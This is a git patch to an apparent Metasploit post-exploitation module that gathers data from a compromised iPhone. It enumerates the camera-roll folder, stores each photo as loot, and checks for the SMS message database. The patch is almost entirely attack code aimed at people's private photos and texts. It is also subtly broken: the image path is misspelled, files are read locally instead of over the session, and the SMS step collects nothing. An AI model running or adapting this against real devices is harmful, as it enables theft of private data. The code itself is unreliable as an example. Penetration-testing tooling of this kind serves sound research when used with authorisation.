From b57b269df46222eb8627765fd6c570b6ebc4d6cb Mon Sep 17 00:00:00 2001 From: Shelby Pace Date: Tue, 30 Oct 2018 15:43:25 -0500 Subject: [PATCH] storing images --- .../post/apple_ios/gather/img_text_gather.rb | 49 +++++++++++++++++-- 1 file changed, 46 insertions(+), 3 deletions(-) diff --git a/modules/post/apple_ios/gather/img_text_gather.rb b/modules/post/apple_ios/gather/img_text_gather.rb index aca15567b4..111887b9e5 100644 --- a/modules/post/apple_ios/gather/img_text_gather.rb +++ b/modules/post/apple_ios/gather/img_text_gather.rb @@ -4,12 +4,14 @@ ## class MetasploitModule < Msf::Post + include Msf::Post::File + include Msf::Auxiliary::Report def initialize(info={}) super(update_info(info, - 'Name' => 'Placeholder Name', + 'Name' => 'iOS Image and Text Gatherer', 'Description' => %q{ - This is a placeholder description for the module. + This module collects images and text messages from iPhones. }, 'License' => MSF_LICENSE, 'Author' => [ 'Shelby Pace' ], # Metasploit Module @@ -18,7 +20,48 @@ class MetasploitModule < Msf::Post )) end - def run + # location of images: /private/var/mobile/Media/DCIM/100APPLE + def check_for_img_path + directory?('/private/var/mobile/Media/DCIM/100APPLE') + end + def enum_img + img_path = '/private/var/mobile/Media/DCIM/100APPlE' + unless check_for_img_path + print_bad('Default image path not found') + return + end + + print_good('Image path found. Will begin searching for images...') + ios_imgs = dir(img_path) + ios_imgs.each do |img| + begin + f = File.open("#{img_path}/#{img}") + data = File.read(f) + store_loot("ios_image", "image/jpg", session, data, img) + print_good("Stored #{img}") + rescue + print_bad('Failed to read and collect images') + end + end + end + + # location of texts: /private/var/mobile/Library/SMS/sms.db + def check_for_sms + file?('/private/var/mobile/Library/SMS/sms.db') + end + + def enum_text + unless check_for_sms + print_bad('No text messages found') + return + end + + print_good('Text message file found') + end + + def run + enum_img + enum_text end end